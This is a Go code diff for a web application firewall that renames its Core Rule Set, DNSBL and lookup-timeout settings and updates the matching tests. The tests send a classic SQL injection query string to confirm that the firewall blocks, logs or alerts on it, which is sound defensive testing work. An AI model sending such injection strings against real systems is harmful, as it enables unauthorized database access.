// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD is a match: it adds the tag
|
||||||
// exploitsignature, raises the core_rule_set_match alert, and in block mode
|
// exploitsignature, raises the core_rule_set_match alert, and in block mode
|
||||||
// refuses the request with 403, which is an offence its client's history
|
// refuses the request with 403, which is an offence its client's history
|
||||||
// counts. Its figures are the score and the threshold.
|
// counts. Its figures are the score and the threshold.
|
||||||
@@ -31,8 +31,8 @@ func (coreRuleSet) check(
|
|||||||
_ time.Time,
|
_ time.Time,
|
||||||
) *verdict {
|
) *verdict {
|
||||||
cfg := rq.h.config
|
cfg := rq.h.config
|
||||||
if cfg.WAFMode == config.WAFModeOff ||
|
if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff ||
|
||||||
pathExempt(rq.in, cfg.WAFExemptPaths) {
|
pathExempt(rq.in, cfg.CoreRuleSetExemptPaths) {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -50,10 +50,10 @@ func (coreRuleSet) check(
|
|||||||
rq.line.CoreRuleSetScore = &result.Score
|
rq.line.CoreRuleSetScore = &result.Score
|
||||||
|
|
||||||
for _, id := range result.RuleIDs {
|
for _, id := range result.RuleIDs {
|
||||||
rq.h.metrics.CoreRuleSetMatched(cfg.WAFMode, id)
|
rq.h.metrics.CoreRuleSetMatched(cfg.CoreRuleSetMode, id)
|
||||||
}
|
}
|
||||||
|
|
||||||
threshold := cfg.WAFAnomalyThreshold
|
threshold := cfg.CoreRuleSetScoreThreshold
|
||||||
if threshold == 0 || result.Score < threshold {
|
if threshold == 0 || result.Score < threshold {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -61,7 +61,7 @@ func (coreRuleSet) check(
|
|||||||
rq.addTag(config.ExploitSignatureTag)
|
rq.addTag(config.ExploitSignatureTag)
|
||||||
rq.alertCoreRuleSetMatch(result)
|
rq.alertCoreRuleSetMatch(result)
|
||||||
|
|
||||||
if cfg.WAFMode == config.WAFModeDetect {
|
if cfg.CoreRuleSetMode == config.CoreRuleSetModeDetect {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -78,7 +78,7 @@ func (coreRuleSet) check(
|
|||||||
|
|
||||||
// alertCoreRuleSetMatch raises the core_rule_set_match alert for the request,
|
// alertCoreRuleSetMatch raises the core_rule_set_match alert for the request,
|
||||||
// which the Core Rule Set scored at result, at or over
|
// which the Core Rule Set scored at result, at or over
|
||||||
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD. Its detail gives the rule ids, the
|
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD. Its detail gives the rule ids, the
|
||||||
// score, the method and the path with the query, and, for a request that is
|
// score, the method and the path with the query, and, for a request that is
|
||||||
// not refused for it, the mode: detect, or observe in observe mode.
|
// not refused for it, the mode: detect, or observe in observe mode.
|
||||||
func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
|
func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
|
||||||
@@ -90,8 +90,8 @@ func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
switch {
|
switch {
|
||||||
case rq.h.config.WAFMode == config.WAFModeDetect:
|
case rq.h.config.CoreRuleSetMode == config.CoreRuleSetModeDetect:
|
||||||
detail["mode"] = config.WAFModeDetect
|
detail["mode"] = config.CoreRuleSetModeDetect
|
||||||
case rq.h.config.Observe:
|
case rq.h.config.Observe:
|
||||||
detail["mode"] = "observe"
|
detail["mode"] = "observe"
|
||||||
}
|
}
|
||||||
@@ -105,7 +105,7 @@ func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
|
|||||||
ASName: rq.line.ASName,
|
ASName: rq.line.ASName,
|
||||||
Country: rq.line.Country,
|
Country: rq.line.Country,
|
||||||
Reason: "scored by the Core Rule Set at or over " +
|
Reason: "scored by the Core Rule Set at or over " +
|
||||||
"SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD",
|
"SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD",
|
||||||
Detail: detail,
|
Detail: detail,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -18,20 +18,20 @@ import (
|
|||||||
// The Core Rule Set's settings the tests set, besides SWW_WAF_CORE_RULE_SET_MODE, and
|
// The Core Rule Set's settings the tests set, besides SWW_WAF_CORE_RULE_SET_MODE, and
|
||||||
// its two modes that inspect requests.
|
// its two modes that inspect requests.
|
||||||
const (
|
const (
|
||||||
wafAnomalyThreshold = "SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD"
|
coreRuleSetScoreThreshold = "SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD"
|
||||||
wafDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES"
|
coreRuleSetDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES"
|
||||||
wafExemptPaths = "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS"
|
coreRuleSetExemptPaths = "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS"
|
||||||
wafBodyLimit = "SWW_WAF_CORE_RULE_SET_BODY_LIMIT"
|
coreRuleSetBodyInspectionSize = "SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE"
|
||||||
apps = "SWW_WAF_APPS"
|
apps = "SWW_WAF_APPS"
|
||||||
block = "block"
|
block = "block"
|
||||||
detect = "detect"
|
detect = "detect"
|
||||||
)
|
)
|
||||||
|
|
||||||
// formData is the type of a form's body.
|
// formData is the type of a form's body.
|
||||||
const formData = "application/x-www-form-urlencoded"
|
const formData = "application/x-www-form-urlencoded"
|
||||||
|
|
||||||
// sizeLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies, 1K as a
|
// sizeLimit is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the tests that
|
||||||
// setting.
|
// read bodies, 1K as a setting.
|
||||||
const (
|
const (
|
||||||
sizeLimit = 1 << 10
|
sizeLimit = 1 << 10
|
||||||
sizeLimitSetting = "1K"
|
sizeLimitSetting = "1K"
|
||||||
@@ -39,7 +39,7 @@ const (
|
|||||||
|
|
||||||
// sqlInjection asks for / with an SQL injection in its query, which only
|
// sqlInjection asks for / with an SQL injection in its query, which only
|
||||||
// the Core Rule Set's rule 942100 matches, with a score of 5, the default
|
// the Core Rule Set's rule 942100 matches, with a score of 5, the default
|
||||||
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
|
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD.
|
||||||
const sqlInjection = "/?id=1'%20OR%20'1'='1"
|
const sqlInjection = "/?id=1'%20OR%20'1'='1"
|
||||||
|
|
||||||
// wantCoreRuleSet checks the request log line's core_rule_set_rule_ids and
|
// wantCoreRuleSet checks the request log line's core_rule_set_rule_ids and
|
||||||
@@ -95,7 +95,7 @@ func TestCoreRuleSetMatchAddsTheExploitSignatureTag(t *testing.T) {
|
|||||||
s, _, _ := startWithClock(
|
s, _, _ := startWithClock(
|
||||||
t,
|
t,
|
||||||
"",
|
"",
|
||||||
map[string]string{wafMode: tc.mode},
|
map[string]string{coreRuleSetMode: tc.mode},
|
||||||
)
|
)
|
||||||
|
|
||||||
wantTags(
|
wantTags(
|
||||||
@@ -115,7 +115,7 @@ func TestDetectedAttackIsRefusedByTagDenyLast(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{
|
s, _, _ := startWithClock(t, "", map[string]string{
|
||||||
wafMode: detect, tagDeny: "exploitsignature",
|
coreRuleSetMode: detect, tagDeny: "exploitsignature",
|
||||||
})
|
})
|
||||||
|
|
||||||
line := s.request(client, sqlInjection, http.StatusForbidden,
|
line := s.request(client, sqlInjection, http.StatusForbidden,
|
||||||
@@ -167,7 +167,7 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(
|
|||||||
s, _, _ := startWithClock(
|
s, _, _ := startWithClock(
|
||||||
t,
|
t,
|
||||||
"",
|
"",
|
||||||
map[string]string{wafMode: tc.mode},
|
map[string]string{coreRuleSetMode: tc.mode},
|
||||||
)
|
)
|
||||||
|
|
||||||
line := s.requestWithHeader(
|
line := s.requestWithHeader(
|
||||||
@@ -186,7 +186,11 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(
|
|||||||
func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) {
|
func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
s, _, _ := startWithClock(
|
||||||
|
t,
|
||||||
|
"",
|
||||||
|
map[string]string{coreRuleSetMode: block},
|
||||||
|
)
|
||||||
|
|
||||||
line := s.request(client, sqlInjection, http.StatusForbidden,
|
line := s.request(client, sqlInjection, http.StatusForbidden,
|
||||||
requestlog.ActionBlockedByCoreRuleSet)
|
requestlog.ActionBlockedByCoreRuleSet)
|
||||||
@@ -196,7 +200,11 @@ func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) {
|
|||||||
func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
|
func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
s, _, _ := startWithClock(
|
||||||
|
t,
|
||||||
|
"",
|
||||||
|
map[string]string{coreRuleSetMode: block},
|
||||||
|
)
|
||||||
|
|
||||||
line := s.request(
|
line := s.request(
|
||||||
client,
|
client,
|
||||||
@@ -215,10 +223,10 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
|||||||
const allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS
|
const allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{
|
s, _, _ := startWithClock(t, "", map[string]string{
|
||||||
wafMode: block,
|
coreRuleSetMode: block,
|
||||||
wafExemptPaths: "/api/",
|
coreRuleSetExemptPaths: "/api/",
|
||||||
allowNets: allowed,
|
allowNets: allowed,
|
||||||
rulesDir: writeRules(t, testRules),
|
ruleFilesDir: writeRules(t, testRules),
|
||||||
})
|
})
|
||||||
|
|
||||||
// A client in SWW_WAF_ALLOW_NETS, and a path SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS
|
// A client in SWW_WAF_ALLOW_NETS, and a path SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS
|
||||||
@@ -258,7 +266,7 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
|||||||
wantCoreRuleSet(t, line, nil)
|
wantCoreRuleSet(t, line, nil)
|
||||||
|
|
||||||
// With SWW_WAF_CORE_RULE_SET_MODE off, no request is.
|
// With SWW_WAF_CORE_RULE_SET_MODE off, no request is.
|
||||||
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
|
s, _, _ = startWithClock(t, "", map[string]string{coreRuleSetMode: off})
|
||||||
line = s.request(
|
line = s.request(
|
||||||
client,
|
client,
|
||||||
sqlInjection,
|
sqlInjection,
|
||||||
@@ -268,14 +276,14 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
|||||||
wantCoreRuleSet(t, line, nil)
|
wantCoreRuleSet(t, line, nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAnomalyThreshold(t *testing.T) {
|
func TestCoreRuleSetScoreThreshold(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// A score under the threshold, or with the threshold off, is logged,
|
// A score under the threshold, or with the threshold off, is logged,
|
||||||
// and refuses nothing.
|
// and refuses nothing.
|
||||||
for _, threshold := range []string{"6", off} {
|
for _, threshold := range []string{"6", off} {
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{
|
s, _, _ := startWithClock(t, "", map[string]string{
|
||||||
wafMode: block, wafAnomalyThreshold: threshold,
|
coreRuleSetMode: block, coreRuleSetScoreThreshold: threshold,
|
||||||
})
|
})
|
||||||
|
|
||||||
line := s.request(
|
line := s.request(
|
||||||
@@ -288,7 +296,7 @@ func TestAnomalyThreshold(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{
|
s, _, _ := startWithClock(t, "", map[string]string{
|
||||||
wafMode: block, wafAnomalyThreshold: "5",
|
coreRuleSetMode: block, coreRuleSetScoreThreshold: "5",
|
||||||
})
|
})
|
||||||
s.request(client, sqlInjection, http.StatusForbidden,
|
s.request(client, sqlInjection, http.StatusForbidden,
|
||||||
requestlog.ActionBlockedByCoreRuleSet)
|
requestlog.ActionBlockedByCoreRuleSet)
|
||||||
@@ -334,7 +342,7 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
|
|||||||
s, _, _ := startWithClock(
|
s, _, _ := startWithClock(
|
||||||
t,
|
t,
|
||||||
"",
|
"",
|
||||||
map[string]string{wafMode: block},
|
map[string]string{coreRuleSetMode: block},
|
||||||
)
|
)
|
||||||
line, _ := s.requestWithBody(
|
line, _ := s.requestWithBody(
|
||||||
request.method,
|
request.method,
|
||||||
@@ -349,7 +357,7 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
|
|||||||
|
|
||||||
// A list given replaces the default.
|
// A list given replaces the default.
|
||||||
s, _, _ = startWithClock(t, "", map[string]string{
|
s, _, _ = startWithClock(t, "", map[string]string{
|
||||||
wafMode: block, wafDisabledRules: "942100",
|
coreRuleSetMode: block, coreRuleSetDisabledRules: "942100",
|
||||||
})
|
})
|
||||||
score := 5 * len(request.ruleIDs)
|
score := 5 * len(request.ruleIDs)
|
||||||
line, _ = s.requestWithBody(
|
line, _ = s.requestWithBody(
|
||||||
@@ -383,7 +391,7 @@ func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
|
|||||||
const fileName = "/?path=.gitignore"
|
const fileName = "/?path=.gitignore"
|
||||||
|
|
||||||
s := startWAF(t, "", map[string]string{
|
s := startWAF(t, "", map[string]string{
|
||||||
wafMode: block, apps: siteA + ":gitea",
|
coreRuleSetMode: block, apps: siteA + ":gitea",
|
||||||
})
|
})
|
||||||
|
|
||||||
wantDisposition(t, do(t, s.question(siteA, client, fileName)),
|
wantDisposition(t, do(t, s.question(siteA, client, fileName)),
|
||||||
@@ -409,13 +417,17 @@ func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
|
|||||||
header := "Content-Type: " + formData + "\r\nContent-Length: " +
|
header := "Content-Type: " + formData + "\r\nContent-Length: " +
|
||||||
strconv.Itoa(len(body))
|
strconv.Itoa(len(body))
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
s, _, _ := startWithClock(
|
||||||
|
t,
|
||||||
|
"",
|
||||||
|
map[string]string{coreRuleSetMode: block},
|
||||||
|
)
|
||||||
line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
|
line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
|
||||||
http.StatusOK, requestlog.ActionForward)
|
http.StatusOK, requestlog.ActionForward)
|
||||||
wantCoreRuleSet(t, line, new(0))
|
wantCoreRuleSet(t, line, new(0))
|
||||||
|
|
||||||
s, _, _ = startWithClock(t, "", map[string]string{
|
s, _, _ = startWithClock(t, "", map[string]string{
|
||||||
wafMode: block, wafBodyLimit: sizeLimitSetting,
|
coreRuleSetMode: block, coreRuleSetBodyInspectionSize: sizeLimitSetting,
|
||||||
})
|
})
|
||||||
line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
|
line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
|
||||||
http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
|
http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
|
||||||
@@ -432,7 +444,7 @@ func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
|
|||||||
_, _ = w.Write(body)
|
_, _ = w.Write(body)
|
||||||
})
|
})
|
||||||
addr, out := startProxy(t, app.URL, map[string]string{
|
addr, out := startProxy(t, app.URL, map[string]string{
|
||||||
wafMode: block, wafBodyLimit: sizeLimitSetting,
|
coreRuleSetMode: block, coreRuleSetBodyInspectionSize: sizeLimitSetting,
|
||||||
})
|
})
|
||||||
longer := "a=" + strings.Repeat("b", 64*sizeLimit)
|
longer := "a=" + strings.Repeat("b", 64*sizeLimit)
|
||||||
|
|
||||||
@@ -496,7 +508,11 @@ func TestResponsesAreNotInspected(t *testing.T) {
|
|||||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||||
_, _ = w.Write([]byte(page))
|
_, _ = w.Write([]byte(page))
|
||||||
})
|
})
|
||||||
addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
|
addr, out := startProxy(
|
||||||
|
t,
|
||||||
|
app.URL,
|
||||||
|
map[string]string{coreRuleSetMode: block},
|
||||||
|
)
|
||||||
|
|
||||||
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
|
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
|
||||||
if got.status != http.StatusOK || string(got.body) != page {
|
if got.status != http.StatusOK || string(got.body) != page {
|
||||||
@@ -510,13 +526,13 @@ func TestResponsesAreNotInspected(t *testing.T) {
|
|||||||
wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
|
wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
|
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheRefusalLimit(
|
||||||
t *testing.T,
|
t *testing.T,
|
||||||
) {
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, server := startWithClock(t, "", map[string]string{
|
s, _, server := startWithClock(t, "", map[string]string{
|
||||||
wafMode: block, errorBurstThreshold: "2", metricsToken: token,
|
coreRuleSetMode: block, refusalsLimitPerMinute: "2", metricsToken: token,
|
||||||
})
|
})
|
||||||
|
|
||||||
for range 2 {
|
for range 2 {
|
||||||
@@ -524,7 +540,7 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
|
|||||||
requestlog.ActionBlockedByCoreRuleSet)
|
requestlog.ActionBlockedByCoreRuleSet)
|
||||||
}
|
}
|
||||||
|
|
||||||
// The third refusal in a minute breaks the error burst, and bans the
|
// The third refusal in a minute breaks the refusal limit, and bans the
|
||||||
// client.
|
// client.
|
||||||
line := s.request(client, sqlInjection, http.StatusForbidden,
|
line := s.request(client, sqlInjection, http.StatusForbidden,
|
||||||
requestlog.ActionBlockedByCoreRuleSet)
|
requestlog.ActionBlockedByCoreRuleSet)
|
||||||
@@ -566,13 +582,13 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
|
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheRefusalLimit(
|
||||||
t *testing.T,
|
t *testing.T,
|
||||||
) {
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, server := startWithClock(t, "", map[string]string{
|
s, _, server := startWithClock(t, "", map[string]string{
|
||||||
wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
|
coreRuleSetMode: detect, refusalsLimitPerMinute: "2", metricsToken: token,
|
||||||
})
|
})
|
||||||
|
|
||||||
for range 3 {
|
for range 3 {
|
||||||
@@ -608,7 +624,7 @@ func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
|
|||||||
s, _, server := startWithClock(
|
s, _, server := startWithClock(
|
||||||
t,
|
t,
|
||||||
"",
|
"",
|
||||||
map[string]string{wafMode: block, mode: observe},
|
map[string]string{coreRuleSetMode: block, mode: observe},
|
||||||
)
|
)
|
||||||
|
|
||||||
line := s.request(
|
line := s.request(
|
||||||
@@ -640,15 +656,15 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
|
|||||||
action, alertMode string
|
action, alertMode string
|
||||||
}{
|
}{
|
||||||
{
|
{
|
||||||
"block", map[string]string{wafMode: block},
|
"block", map[string]string{coreRuleSetMode: block},
|
||||||
http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet, "",
|
http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet, "",
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"detect", map[string]string{wafMode: detect},
|
"detect", map[string]string{coreRuleSetMode: detect},
|
||||||
http.StatusOK, requestlog.ActionForward, detect,
|
http.StatusOK, requestlog.ActionForward, detect,
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"block in observe mode", map[string]string{wafMode: block, mode: observe},
|
"block in observe mode", map[string]string{coreRuleSetMode: block, mode: observe},
|
||||||
http.StatusOK, requestlog.ActionForward, observe,
|
http.StatusOK, requestlog.ActionForward, observe,
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
@@ -683,7 +699,7 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
|
|||||||
Client: netip.MustParseAddr(client),
|
Client: netip.MustParseAddr(client),
|
||||||
Netblock: netip.MustParsePrefix(client + "/32"),
|
Netblock: netip.MustParsePrefix(client + "/32"),
|
||||||
Reason: "scored by the Core Rule Set at or over " +
|
Reason: "scored by the Core Rule Set at or over " +
|
||||||
"SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD",
|
"SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD",
|
||||||
Detail: detail,
|
Detail: detail,
|
||||||
})
|
})
|
||||||
|
|
||||||
|
|||||||
@@ -53,8 +53,8 @@ func TestCountryLists(t *testing.T) {
|
|||||||
})
|
})
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
trustedProxies: trustLocalhost,
|
trustedProxies: trustLocalhost,
|
||||||
lookupTimeout: "1h",
|
asnAndCountryLookupTimeout: "3600000",
|
||||||
}
|
}
|
||||||
maps.Copy(env, tc.env)
|
maps.Copy(env, tc.env)
|
||||||
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
|
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
|
||||||
@@ -109,7 +109,7 @@ func TestCountryRefusalNamesItsHeuristicCountryAndSetting(t *testing.T) {
|
|||||||
|
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
s, _, _ := startWithClock(t, geojsURL, map[string]string{
|
s, _, _ := startWithClock(t, geojsURL, map[string]string{
|
||||||
lookupTimeout: "1h", allowedCountries: "de",
|
asnAndCountryLookupTimeout: "3600000", allowedCountries: "de",
|
||||||
})
|
})
|
||||||
|
|
||||||
line := s.get(
|
line := s.get(
|
||||||
@@ -147,9 +147,9 @@ func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
|
|||||||
})
|
})
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
|
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
|
||||||
trustedProxies: trustLocalhost,
|
trustedProxies: trustLocalhost,
|
||||||
lookupTimeout: "1h",
|
asnAndCountryLookupTimeout: "3600000",
|
||||||
allowedCountries: "de",
|
allowedCountries: "de",
|
||||||
})
|
})
|
||||||
|
|
||||||
req := newRequest(
|
req := newRequest(
|
||||||
@@ -198,10 +198,10 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
|
|||||||
|
|
||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
||||||
addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{
|
addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{
|
||||||
trustedProxies: trustLocalhost,
|
trustedProxies: trustLocalhost,
|
||||||
lookupTimeout: "1h",
|
asnAndCountryLookupTimeout: "3600000",
|
||||||
allowedCountries: "de",
|
allowedCountries: "de",
|
||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
})
|
})
|
||||||
|
|
||||||
request := func() answer {
|
request := func() answer {
|
||||||
@@ -248,8 +248,8 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
|
|||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
||||||
geojsURL, asked := startGeoJS(t)
|
geojsURL, asked := startGeoJS(t)
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
trustedProxies: trustLocalhost,
|
trustedProxies: trustLocalhost,
|
||||||
lookupTimeout: "1h",
|
asnAndCountryLookupTimeout: "3600000",
|
||||||
}
|
}
|
||||||
maps.Copy(env, tc.env)
|
maps.Copy(env, tc.env)
|
||||||
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
|
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
|
||||||
@@ -352,10 +352,11 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
|
|||||||
// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
|
// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
|
||||||
// each in an AS of its own, and no other address. It returns its URL, and
|
// each in an AS of its own, and no other address. It returns its URL, and
|
||||||
// what returns the addresses it has been asked about. A test that needs
|
// what returns the addresses it has been asked about. A test that needs
|
||||||
// the stand-in to be asked or to answer sets SWW_WAF_LOOKUP_TIMEOUT to an
|
// the stand-in to be asked or to answer sets
|
||||||
// hour, whether or not a request waits for the answer: on the default, a
|
// SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS to an hour, whether or not a
|
||||||
// hold-up of the test process can abandon the request to the stand-in, and
|
// request waits for the answer: on the default, a hold-up of the test
|
||||||
// leave the client unknown.
|
// process can abandon the request to the stand-in, and leave the client
|
||||||
|
// unknown.
|
||||||
func startGeoJS(t *testing.T) (string, func() []string) {
|
func startGeoJS(t *testing.T) (string, func() []string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package waf
|
package waf
|
||||||
|
|
||||||
// The heuristic dnsbl. It reads SWW_WAF_REPUTATION_ACTION, and the DNSBL zones'
|
// The heuristic dnsbl. It reads SWW_WAF_DNSBL_ABUSEIPDB_ACTION, and the DNSBL zones'
|
||||||
// verdicts through the DNSBL checker.
|
// verdicts through the DNSBL checker.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -14,7 +14,7 @@ import (
|
|||||||
|
|
||||||
// dnsbl notes the DNSBL zones whose verdict lists the client, as noteListed
|
// dnsbl notes the DNSBL zones whose verdict lists the client, as noteListed
|
||||||
// does, adds the tag dnsbl=<zone> for each, the zone's key masked, and refuses
|
// does, adds the tag dnsbl=<zone> for each, the zone's key masked, and refuses
|
||||||
// the request when SWW_WAF_REPUTATION_ACTION is deny. Being
|
// the request when SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny. Being
|
||||||
// limit, it lowers the client's limits instead (see limitPercentages), and
|
// limit, it lowers the client's limits instead (see limitPercentages), and
|
||||||
// being log, it does nothing more. A zone without a verdict on the client is
|
// being log, it does nothing more. A zone without a verdict on the client is
|
||||||
// asked about it in the background, and the request does not wait for the
|
// asked about it in the background, and the request does not wait for the
|
||||||
@@ -32,7 +32,7 @@ func (dnsbl) check(ctx context.Context, rq *request, _ time.Time) *verdict {
|
|||||||
rq.addTag(config.DNSBLTagPrefix + strings.ToLower(zone))
|
rq.addTag(config.DNSBLTagPrefix + strings.ToLower(zone))
|
||||||
}
|
}
|
||||||
|
|
||||||
if !rq.dnsblListed || rq.h.config.ReputationAction != deny {
|
if !rq.dnsblListed || rq.h.config.DNSBLAbuseIPDBAction != deny {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ import (
|
|||||||
|
|
||||||
// To add a heuristic, write one file with a type that implements heuristic,
|
// To add a heuristic, write one file with a type that implements heuristic,
|
||||||
// and add one line for it to one of the lists below. Its settings go in
|
// and add one line for it to one of the lists below. Its settings go in
|
||||||
// config.Config, and the comment at the top of its file names them.
|
// config.WAF, and the comment at the top of its file names them.
|
||||||
|
|
||||||
// heuristic is one of the checks that decide what waf does with a
|
// heuristic is one of the checks that decide what waf does with a
|
||||||
// request.
|
// request.
|
||||||
|
|||||||
@@ -18,9 +18,9 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
|
|||||||
|
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
s, clk, server := startWithClock(t, geojsURL, map[string]string{
|
